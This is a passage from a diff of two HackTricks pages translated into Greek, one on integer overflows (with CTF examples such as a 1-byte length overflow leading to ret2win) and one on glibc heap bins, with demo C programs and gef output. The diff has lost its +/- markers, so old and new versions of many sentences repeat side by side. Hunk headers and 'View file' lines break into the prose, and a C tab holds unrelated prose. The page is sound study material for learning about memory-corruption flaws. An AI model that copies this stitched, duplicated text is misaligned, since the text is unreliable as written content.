Για παράδειγμα, ένας **8-μπιτος ακέραιος χωρίς πρόσημο** μπορεί να αναπαριστά τιμές από **0 έως 255**. Εάν προσπαθήσετε να αποθηκεύσετε την τιμή 256 σε έναν 8-μπιτο ακέραιο χωρίς πρόσημο, θα επιστρέψει στο 0 λόγω του περιορισμού της χωρητικότητάς του. Αντίστοιχα, για έναν **16-μπιτο ακέραιο χωρίς πρόσημο**, ο οποίος μπορεί να κρατήσει τιμές από **0 έως 65.535**, η προσθήκη 1 στο 65.535 θα επιστρέψει την τιμή πίσω στο 0.
Επιπλέον, ένας **8-μπιτος ακέραιος με πρόσημο** μπορεί να αναπαριστά τιμές από **-128 έως 127**. Αυτό συμβαίνει επειδή ένα bit χρησιμοποιείται για την αναπαράσταση του προσήμου (θετικό ή αρνητικό), αφήνοντας 7 bits για την αναπαράσταση της μεγέθους. Ο πιο αρνητικός αριθμός αναπαρίσταται ως **-128** (δυαδικό `10000000`), και ο πιο θετικός αριθμός είναι το **127** (δυαδικό `01111111`).
Επιπλέον, ένας **8-μπιτος ακέραιος με πρόσημο** μπορεί να αναπαριστά τιμές από **-128 έως 127**. Αυτό συμβαίνει επειδή ένα bit χρησιμοποιείται για να αναπαραστήσει το πρόσημο (θετικό ή αρνητικό), αφήνοντας 7 bits για να αναπαραστήσουν το μέγεθος. Ο πιο αρνητικός αριθμός αναπαρίσταται ως **-128** (δυαδικό `10000000`), και ο πιο θετικός αριθμός είναι το **127** (δυαδικό `01111111`).
### Μέγιστες τιμές
@ -43,9 +44,7 @@ println!("{}", add_result);
{% endtab %}
{% tab title="C" %}
Η ανακάλυψη της υπερχείλισης ακεραιού είναι μια από τις πιο συνηθισμένες ευπάθειες που μπορεί να εκμεταλλευτεί ένας κακόβουλος χρήστης. Συμβαίνει όταν μια μεταβλητή ακεραίου υπερβαίνει το μέγιστο επιτρεπόμενο όριο της τιμής της, προκαλώντας την ανατίθεση της τιμής της μεταβλητής σε μια τιμή που δεν είναι αναμενόμενη από τον προγραμματιστή. Αυτό μπορεί να οδηγήσει σε ανεπιθύμητες συμπεριφορές, συμπεριλαμβανομένης της αποκάλυψης ευαίσθητων πληροφοριών ή ακόμη και στην εκτέλεση κώδικα που δεν επιτρέπεται. Είναι σημαντικό για τους προγραμματιστές να ελέγχουν τις τιμές των μεταβλητών ακεραίων για να αποτρέψουν την υπερχείλιση.
Η αναπαράσταση ακέραιων αριθμών σε υπολογιστές είναι περιορισμένη από τον αριθμό των bits που χρησιμοποιούνται. Αυτό μπορεί να οδηγήσει σε προβλήματα υπερχείλισης ακεραίων όταν η τιμή ενός ακεραίου υπερβαίνει το μέγιστο δυνατό εύρος τιμών που μπορεί να αναπαραστήσει ο τύπος δεδομένων. Αυτό μπορεί να οδηγήσει σε μη αναμενόμενη συμπεριφορά του προγράμματος ή ακόμη και σε εκμετάλλευση από κακόβουλο κώδικα. Είναι σημαντικό να ελέγχετε την είσοδο και τις υπολογισμένες τιμές για να αποφευχθούν τέτοιου είδους ευπάθειες.
{% endtab %}
```c
#include <stdio.h>
@ -104,31 +103,19 @@ printf("Processed Input is within range: %u\n", processedInput);
return 0;
}
```
Σε αυτό το παράδειγμα, εάν ένας χρήστης εισάγει έναν αρνητικό αριθμό, θα ερμηνευτεί ως ένα μεγάλο μη υπογεγραμμένο ακέραιο λόγω του τρόπου με τον οποίο ερμηνεύονται οι δυαδικές τιμές, με πιθανή απροσδόκητη συμπεριφορά.
### Άλλα Παραδείγματα
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* Το πρόγραμμα επικυρώνει μόνο το τελευταίο byte ενός αριθμού για να ελέγξει το μέγεθος της εισόδου, επομένως είναι δυνατόν να προστεθεί οποιοδήποτε μέγεθος όσο το τελευταίο byte βρίσκεται εντός του επιτρεπόμενου εύρους. Στη συνέχεια, η είσοδος δημιουργεί ένα buffer overflow που εκμεταλλεύεται με ένα ret2win.
* Χρησιμοποιείται μόνο 1B για να αποθηκεύσει το μέγεθος του κωδικού πρόσβασης, οπότε είναι δυνατόν να υπερχειλίσετε το μέγεθος και να το κάνετε να νομίζει ότι έχει μήκος 4 ενώ στην πραγματικότητα είναι 260 για να παρακάμψετε τον έλεγχο μήκους προστασίας
* [https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html)
* Δεδομένων δύο αριθμών, βρείτε χρησιμοποιώντας το z3 ένα νέο αριθμό που πολλαπλασιασμένος με τον πρώτο θα δώσει τον δεύτερο:
* Δεδομένων δύο αριθμών, βρείτε χρησιμοποιώντας το z3 ένα νέο αριθμό που πολλαπλασιασμένος με τον πρώτο θα δώσει τον δεύτερο:&#x20;
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
* [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
* Χρησιμοποιείται μόνο 1B για να αποθηκεύσει το μέγεθος του κωδικού πρόσβασης, οπότε είναι δυνατόν να υπερχειλίσετε το μέγεθος και να το κάνετε να νομίζει ότι έχει μήκος 4 ενώ στην πραγματικότητα είναι 260 για να παρακάμψετε τον έλεγχο μήκους προστασίας και να αντικαταστήσετε στη στοίβα την επόμενη τοπική μεταβλητή και να παρακάμψετε και τις δύο προστασίες
\
## ARM64
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
Αυτό **δεν αλλάζει στο ARM64** όπως μπορείτε να δείτε σε [**αυτή την ανάρτηση στο blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).

View file

@ -1,35 +1,36 @@
# Bins & Εκχωρήσεις Μνήμης
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>
{% endhint %}
## Βασικές Πληροφορίες
Για να βελτιώσουμε την αποδοτικότητα στον τρόπο που αποθηκεύονται τα κομμάτια, κάθε κομμάτι δεν βρίσκεται μόνο σε μία συνδεδεμένη λίστα, αλλά υπάρχουν διάφοροι τύποι. Αυτοί είναι οι bins και υπάρχουν 5 τύποι bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) μικροί bins, 63 μεγάλοι bins, 1 unsorted bin, 10 fast bins και 64 tcache bins ανά thread.
Για να βελτιώσουμε την αποδοτικότητα στον τρόπο αποθήκευσης των κομματιών, κάθε κομμάτι δεν βρίσκεται μόνο σε μία συνδεδεμένη λίστα, αλλά υπάρχουν διάφοροι τύποι. Αυτοί είναι οι bins και υπάρχουν 5 τύποι bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) μικροί bins, 63 μεγάλοι bins, 1 unsorted bin, 10 fast bins και 64 tcache bins ανά thread.
Η αρχική διεύθυνση για κάθε unsorted, μικρό και μεγάλο bin βρίσκεται μέσα στον ίδιο πίνακα. Το δείκτης 0 δεν χρησιμοποιείται, ο 1 είναι το unsorted bin, τα bins 2-64 είναι μικροί bins και τα bins 65-127 είναι μεγάλοι bins.
Η αρχική διεύθυνση για κάθε unsorted, μικρό και μεγάλο bin βρίσκεται μέσα στον ίδιο πίνακα. Το δείκτης 0 δεν χρησιμοποιείται, το 1 είναι το unsorted bin, τα bins 2-64 είναι μικροί bins και τα bins 65-127 είναι μεγάλοι bins.
### Tcache (Κρυφή Μνήμη ανά Thread) Bins
### Tcache (Αποθήκη Ανά Thread)
Ακόμη κι αν τα threads προσπαθούν να έχουν το δικό τους σωρό (δείτε [Αρένες](bins-and-memory-allocations.md#arenas) και [Υποσωροί](bins-and-memory-allocations.md#subheaps)), υπάρχει η πιθανότητα ότι ένας διεργασία με πολλά threads (όπως ένας web server) **θα μοιραστεί το σωρό με άλλα threads**. Σε αυτήν την περίπτωση, η κύρια λύση είναι η χρήση **κλειδαριών**, οι οποίες μπορεί **να επιβραδύνουν σημαντικά τα threads**.
Ακόμα κι αν τα threads προσπαθούν να έχουν το δικό τους heap (δείτε [Αρένες](bins-and-memory-allocations.md#arenas) και [Υπο-σωροί](bins-and-memory-allocations.md#subheaps)), υπάρχει η πιθανότητα ότι ένας διεργασία με πολλά threads (όπως ένας web server) **θα μοιραστεί το heap με άλλα threads**. Σε αυτήν την περίπτωση, η κύρια λύση είναι η χρήση **κλειδαριών**, οι οποίες μπορεί **να επιβραδύνουν σημαντικά τα threads**.
Επομένως, ένα tcache είναι παρόμοιο με ένα fast bin ανά thread στον τρόπο που είναι μια **μονόδρομη συνδεδεμένη λίστα** που δεν ενώνει κομμάτια. Κάθε thread έχει **64 μονόδρομους tcache bins**. Κάθε bin μπορεί να έχει ένα μέγιστο από [7 κομμάτια ίδιου μεγέθους](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) κυμαίνονται από [24 έως 1032B σε 64-bit συστήματα και 12 έως 516B σε 32-bit συστήματα](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
Επομένως, ένα tcache είναι παρόμοιο με ένα fast bin ανά thread στον τρόπο που είναι μια **μονόδρομη συνδεδεμένη λίστα** που δεν ενώνει κομμάτια. Κάθε thread έχει **64 μονόδρομους tcache bins**. Κάθε bin μπορεί να έχει ένα μέγιστο των [7 κομματιών ίδιου μεγέθους](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) κυμαίνονται από [24 έως 1032B σε 64-bit συστήματα και 12 έως 516B σε 32-bit συστήματα](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
**Όταν ένα thread απελευθερώνει** ένα κομμάτι, **αν δεν είναι πολύ μεγάλο** για να εκχωρηθεί στο tcache και το αντίστοιχο tcache bin **δεν είναι γεμάτο** (ήδη 7 κομμάτια), **θα εκχωρηθεί εκεί**. Αν δεν μπορεί να πάει στο tcache, θα πρέπει να περιμένει το κλείδωμα του σωρού για να μπορέσει να εκτελέσει την πράξη απελευθέρωσης παγκοσμίως.
**Όταν ένα thread απελευθερώνει** ένα κομμάτι, **αν δεν είναι πολύ μεγάλο** για να εκχωρηθεί στο tcache και το αντίστοιχο tcache bin **δεν είναι γεμάτο** (ήδη 7 κομμάτια), **θα εκχωρηθεί εκεί**. Αν δεν μπορεί να πάει στο tcache, θα πρέπει να περιμένει το κλείδωμα του heap για να μπορέσει να εκτελέσει την πράξη απελευθέρωσης παγκοσμίως.
Όταν ένα **κομμάτι εκχωρείται**, αν υπάρχει ένα ελεύθερο κομμάτι του απαιτούμενου μεγέθους στο **Tcache θα το χρησιμοποιήσει**, αν όχι, θα πρέπει να περιμένει το κλείδωμα του σωρού για να βρει ένα στα γενικά bins ή να δημιουργήσει ένα νέο.\
Υπάρχει επίσης μια βελτιστοποίηση, σε αυτήν την περίπτωση, ενώ έχει το κλείδωμα του σωρού, το thread **θα γεμίσει το Tcache του με κομμάτια σωρού (7) του απαιτούμενου μεγέθους**, έτσι ώστε σε περίπτωση που χρειαστεί περισσότερα, θα τα βρει στο Tcache.
Όταν ένα **κομμάτι εκχωρείται**, αν υπάρχει ένα ελεύθερο κομμάτι του απαιτούμενου μεγέθους στο **Tcache θα το χρησιμοποιήσει**, αν όχι, θα πρέπει να περιμένει το κλείδωμα του heap για να βρει ένα στα γενικά bins ή να δημιουργήσει ένα νέο.\
Υπάρχει επίσης μια βελτιστοποίηση, σε αυτήν την περίπτωση, ενώ έχει το κλείδωμα του heap, το thread **θα γεμίσει το Tcache του με κομμάτια heap (7) του απαιτούμενου μεγέθους**, έτσι ώστε σε περίπτωση που χρειαστεί περισσότερα, θα τα βρει στο Tcache.
<details>
@ -48,7 +49,7 @@ free(chunk);
return 0;
}
```
Μεταγλωτίστε το και αποσφαλματώστε το με ένα σημείο αναστολής στον κωδικό επιστροφής (ret opcode) από τη συνάρτηση main. Στη συνέχεια, με το εργαλείο gef μπορείτε να δείτε το tcache bin που χρησιμοποιείται:
Μεταγλωτίστε το και αποσφαλματώστε το με ένα σημείο ανακοπής στον κωδικό επιστροφής (ret opcode) από την κύρια συνάρτηση (main function). Στη συνέχεια, με το gef μπορείτε να δείτε το tcache bin που χρησιμοποιείται:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -56,7 +57,7 @@ Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20,
```
#### Δομές & Συναρτήσεις Tcache
Στον παρακάτω κώδικα είναι δυνατόν να δούμε τα **max bins** και **chunks ανά index**, τη δομή **`tcache_entry`** που δημιουργήθηκε για να αποφευχθούν τα διπλά frees και τη **`tcache_perthread_struct`**, μια δομή που κάθε νήμα χρησιμοποιεί για να αποθηκεύσει τις διευθύνσεις σε κάθε index του bin.
Στον παρακάτω κώδικα είναι δυνατόν να δούμε τα **max bins** και **chunks ανά index**, τη δομή **`tcache_entry`** που δημιουργήθηκε για να αποφευχθούν οι διπλές απελευθερώσεις και τη **`tcache_perthread_struct`**, μια δομή που κάθε νήμα χρησιμοποιεί για να αποθηκεύσει τις διευθύνσεις σε κάθε index του bin.
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c
@ -155,16 +156,16 @@ memset (tcache, 0, sizeof (tcache_perthread_struct));
### Γρήγοροι κάδοι
Οι γρήγοροι κάδοι σχεδιάστηκαν για **ταχύτερη εκχώρηση μνήμης για μικρά κομμάτια** κρατώντας πρόσφατα ελευθερωμένα κομμάτια σε μια δομή γρήγορης πρόσβασης. Αυτοί οι κάδοι χρησιμοποιούν μια προσέγγιση Τελευταίο Εισερχόμενο, Πρώτο Εξερχόμενο (LIFO), που σημαίνει ότι το **πιο πρόσφατα ελευθερωμένο κομμάτι είναι το πρώτο** που θα χρησιμοποιηθεί όταν υπάρχει αίτηση για νέα εκχώρηση. Αυτή η συμπεριφορά είναι επωφελής για την ταχύτητα, καθώς είναι πιο γρήγορο να εισάγετε και να αφαιρέσετε από την κορυφή ενός σωρού (LIFO) σε σύγκριση με μια ουρά (FIFO).
Οι γρήγοροι κάδοι σχεδιάστηκαν για να **επιταχύνουν την εκχώρηση μνήμης για μικρά κομμάτια** κρατώντας πρόσφατα ελευθερωμένα κομμάτια σε μια δομή γρήγορης πρόσβασης. Αυτοί οι κάδοι χρησιμοποιούν μια προσέγγιση Τελευταίο Εισερχόμενο, Πρώτο Εξερχόμενο (LIFO), που σημαίνει ότι το **πιο πρόσφατα ελευθερωμένο κομμάτι είναι το πρώτο** που θα χρησιμοποιηθεί όταν υπάρχει αίτηση για νέα εκχώρηση. Αυτή η συμπεριφορά είναι επωφελής για την ταχύτητα, καθώς είναι πιο γρήγορο να εισάγετε και να αφαιρέσετε από την κορυφή ενός στοίβας (LIFO) σε σύγκριση με μια ουρά (FIFO).
Επιπλέον, **οι γρήγοροι κάδοι χρησιμοποιούν μονόδεσμες λίστες**, όχι διπλά δεσμευμένες, πράγμα που βελτιώνει περαιτέρω την ταχύτητα. Δεδομένου ότι τα κομμάτια στους γρήγορους κάδους δεν συγχωνεύονται με γείτονες, δεν χρειάζεται μια πολύπλοκη δομή που επιτρέπει την αφαίρεση από τη μέση. Μια μονόδεσμη λίστα είναι απλούστερη και ταχύτερη για αυτές τις λειτουργίες.
Επιπλέον, **οι γρήγοροι κάδοι χρησιμοποιούν μονόδεσμες λίστες**, όχι διπλές, οι οποίες βελτιώνουν περαιτέρω την ταχύτητα. Δεδομένου ότι τα κομμάτια στους γρήγορους κάδους δεν συγχωνεύονται με γείτονες, δεν χρειάζεται μια πολύπλοκη δομή που επιτρέπει την αφαίρεση από τη μέση. Μια μονόδεσμη λίστα είναι απλούστερη και ταχύτερη για αυτές τις λειτουργίες.
Βασικά, αυτό που συμβαίνει εδώ είναι ότι η κεφαλίδα (ο δείκτης προς το πρώτο κομμάτι προς έλεγχο) δείχνει πάντα στο πιο πρόσφατα ελευθερωμένο κομμάτι αυτού του μεγέθους. Έτσι:
Βασικά, αυτό που συμβαίνει εδώ είναι ότι η κεφαλίδα (ο δείκτης προς το πρώτο κομμάτι για έλεγχο) δείχνει πάντα στο πιο πρόσφατα ελευθερωμένο κομμάτι αυτού του μεγέθους. Έτσι:
* Όταν εκχωρηθεί ένα νέο κομμάτι αυτού του μεγέθους, η κεφαλίδα δείχνει ένα ελεύθερο κομμάτι για χρήση. Δεδομένου ότι αυτό το ελεύθερο κομμάτι δείχνει στο επόμενο που θα χρησιμοποιηθεί, αυτή η διεύθυνση αποθηκεύεται στην κεφαλίδα ώστε η επόμενη εκχώρηση να ξέρει πού να βρει ένα διαθέσιμο κομμάτι
* Όταν ένα κομμάτι ελευθερώνεται, το ελεύθερο κομμάτι θα αποθηκεύσει τη διεύθυνση προς το τρέχον διαθέσιμο κομμάτι και η διεύθυνση προς αυτό το νεοελευθερωμένο κομμάτι θα τεθεί στην κεφαλίδα
* Όταν εκχωρηθεί ένα νέο κομμάτι αυτού του μεγέθους, η κεφαλίδα δείχνει σε ένα ελεύθερο κομμάτι για χρήση. Δεδομένου ότι αυτό το ελεύθερο κομμάτι δείχνει στο επόμενο που θα χρησιμοποιηθεί, αυτή η διεύθυνση αποθηκεύεται στην κεφαλίδα ώστε η επόμενη εκχώρηση να ξέρει πού να βρει ένα διαθέσιμο κομμάτι
* Όταν ένα κομμάτι ελευθερώνεται, το ελεύθερο κομμάτι θα αποθηκεύσει τη διεύθυνση του τρέχοντος διαθέσιμου κομματιού και η διεύθυνση αυτού του νεοελευθερωμένου κομματιού θα τεθεί στην κεφαλίδα
Το μέγιστο μέγεθος μιας συνδεδεμένης λίστας είναι `0x80` και οργανώνονται έτσι ώστε ένα κομμάτι μεγέθους `0x20` θα βρίσκεται στον δείκτη `0`, ένα κομμάτι μεγέθους `0x30` θα βρίσκεται στον δείκτη `1`...
Το μέγιστο μέγεθος μιας συνδεδεμένης λίστας είναι `0x80` και οργανώνονται έτσι ώστε ένα κομμάτι μεγέθους `0x20` θα βρίσκεται στον δείκτη `0`, ένα κομμάτι μεγέθους `0x30` θα βρίσκεται στον δείκτη `1`...
{% hint style="danger" %}
Τα κομμάτια στους γρήγορους κάδους δεν ορίζονται ως διαθέσιμα, έτσι διατηρούνται ως κομμάτια γρήγορων κάδων για κάποιο χρονικό διάστημα αντί να είναι σε θέση να συγχωνευτούν με άλλα ελεύθερα κομμάτια που τα περιβάλλουν.
@ -234,7 +235,7 @@ return 0;
```
Σημειώστε πως εκχωρούμε και απελευθερώνουμε 8 τμήματα με τον ίδιο μέγεθος έτσι ώστε να γεμίσει το tcache και το όγδοο να αποθηκευτεί στο fast chunk.
Μεταγλωττίστε το και αποσφαλματώστε το με ένα σημείο διακοπής στον κώδικα `ret` από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το tcache bin είναι γεμάτο και ένα τμήμα βρίσκεται στο fast bin:
Μεταγλωττίστε το και αποσφαλματώστε το με ένα σημείο αναμονής στον κώδικα `ret` από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το tcache bin είναι γεμάτο και ένα τμήμα βρίσκεται στο fast bin:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -247,9 +248,9 @@ Fastbins[idx=1, size=0x30] 0x00
### Μη ταξινομημένος κάδος
Ο μη ταξινομημένος κάδος είναι ένας **προσωρινός αποθηκευτικός χώρος** που χρησιμοποιείται από τον διαχειριστή σωρού για να κάνει την εκχώρηση μνήμης πιο γρήγορη. Έτσι λειτουργεί: Όταν ένα πρόγραμμα απελευθερώνει ένα κομμάτι μνήμης και αυτό το κομμάτι δεν μπορεί να εκχωρηθεί σε έναν tcache ή fast bin και δεν συγκρούεται με το κομμάτι κορυφής, ο διαχειριστής σωρού δεν το τοποθετεί αμέσως σε ένα συγκεκριμένο μικρό ή μεγάλο κάδο. Αντίθετα, πρώτα προσπαθεί να **συγχωνεύσει το με κάποια γειτονικά ελεύθερα κομμάτια** για να δημιουργήσει ένα μεγαλύτερο τμήμα ελεύθερης μνήμης. Στη συνέχεια, τοποθετεί αυτό το νέο κομμάτι σε ένα γενικό κάδο που ονομάζεται "μη ταξινομημένος κάδος".
Ο μη ταξινομημένος κάδος είναι ένας **cache** που χρησιμοποιείται από τον διαχειριστή σωρού για να κάνει την εκχώρηση μνήμης πιο γρήγορη. Έτσι λειτουργεί: Όταν ένα πρόγραμμα απελευθερώνει ένα κομμάτι, και αν αυτό το κομμάτι δεν μπορεί να εκχωρηθεί σε έναν tcache ή fast bin και δεν συγκρούεται με το κομμάτι κορυφής, ο διαχειριστής σωρού δεν το τοποθετεί αμέσως σε ένα συγκεκριμένο μικρό ή μεγάλο κάδο. Αντίθετα, πρώτα προσπαθεί να **συγχωνεύσει το με κάποια γειτονικά ελεύθερα κομμάτια** για να δημιουργήσει ένα μεγαλύτερο τμήμα ελεύθερης μνήμης. Στη συνέχεια, τοποθετεί αυτό το νέο κομμάτι σε ένα γενικό κάδο που ονομάζεται "μη ταξινομημένος κάδος".
Όταν ένα πρόγραμμα **ζητά μνήμη**, ο διαχειριστής σωρού **ελέγχει τον μη ταξινομημένο κάδο** για να δει αν υπάρχει ένα κομμάτι αρκετού μεγέθους. Αν βρει ένα, το χρησιμοποιεί αμέσως. Αν δε βρει ένα κατάλληλο κομμάτι στον μη ταξινομημένο κάδο, μεταφέρει όλα τα κομμάτια σε αυτή τη λίστα στους αντίστοιχους κάδους τους, είτε μικρούς είτε μεγάλους, με βάση το μέγεθός τους.
Όταν ένα πρόγραμμα **ζητά μνήμη**, ο διαχειριστής σωρού **ελέγχει τον μη ταξινομημένο κάδο** για να δει αν υπάρχει ένα κομμάτι αρκετού μεγέθους. Αν βρει ένα, το χρησιμοποιεί αμέσως. Αν δε βρει ένα κατάλληλο κομμάτι στον μη ταξινομημένο κάδο, μεταφέρει όλα τα κομμάτια σε αυτή τη λίστα στους αντίστοιχους τους κάδους, είτε μικρούς είτε μεγάλους, με βάση το μέγεθός τους.
Σημειώστε ότι αν ένα μεγαλύτερο κομμάτι χωριστεί σε 2 μισά και το υπόλοιπο είναι μεγαλύτερο από το MINSIZE, θα τοποθετηθεί πίσω στον μη ταξινομημένο κάδο.
@ -289,9 +290,9 @@ free(chunks[i]);
return 0;
}
```
Σημειώστε πώς εκχωρούμε και απελευθερώνουμε 9 κομμάτια με τον ίδιο μέγεθος έτσι ώστε **να γεμίσουν το tcache** και το όγδοο να αποθηκεύεται στον unsorted bin επειδή είναι **πολύ μεγάλο για το fastbin** και το ένατο δεν απελευθερώνεται έτσι ώστε το ένατο και το όγδοο **να μη συγχωνεύονται με το top chunk**.
Σημειώστε πώς εκχωρούμε και απελευθερώνουμε 9 τμήματα του ίδιου μεγέθους έτσι ώστε **να γεμίσουν το tcache** και το όγδοο να αποθηκευτεί στο unsorted bin επειδή είναι **πολύ μεγάλο για το fastbin** και το ένατο δεν απελευθερώνεται έτσι το ένατο και το όγδοο **δεν συγχωνεύονται με το top chunk**.
Μεταγλωττίστε το και αποσφαλματώστε το με ένα σημείο διακοπής στον κώδικα `ret` από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το tcache bin είναι γεμάτο και ένα κομμάτι βρίσκεται στον unsorted bin:
Μεταγλωττίστε το και αποσφαλματώστε το με ένα σημείο αναμονής στον κώδικα `ret` από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το tcache bin είναι γεμάτο και ένα τμήμα βρίσκεται στο unsorted bin:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -311,11 +312,11 @@ Fastbins[idx=6, size=0x80] 0x00
```
</details>
### Μικρά Bins
### Μικροί Bins
Τα μικρά bins είναι ταχύτερα από τα μεγάλα bins αλλά πιο αργά από τα γρήγορα bins.
Οι μικροί bins είναι ταχύτεροι από τους μεγάλους bins αλλά πιο αργοί από τους γρήγορους bins.
Κάθε bin από τα 62 θα έχει **chunks του ίδιου μεγέθους**: 16, 24, ... (με μέγιστο μέγεθος 504 bytes σε 32bits και 1024 σε 64bits). Αυτό βοηθάει στην ταχύτητα εντοπισμού του bin όπου θα πρέπει να γίνει εκχώρηση χώρου και στην εισαγωγή και αφαίρεση καταχωρήσεων σε αυτές τις λίστες.
Κάθε bin από τα 62 θα έχει **chunks του ίδιου μεγέθους**: 16, 24, ... (με μέγιστο μέγεθος 504 bytes σε 32bits και 1024 σε 64bits). Αυτό βοηθάει στην ταχύτητα εντοπισμού του bin όπου θα πρέπει να γίνει εκχώρηση χώρου και στην εισαγωγή και αφαίρεση καταχωρίσεων σε αυτές τις λίστες.
Έτσι υπολογίζεται το μέγεθος του μικρού bin ανάλογα με το δείκτη του bin:
@ -372,9 +373,9 @@ chunks[9] = malloc(0x110);
return 0;
}
```
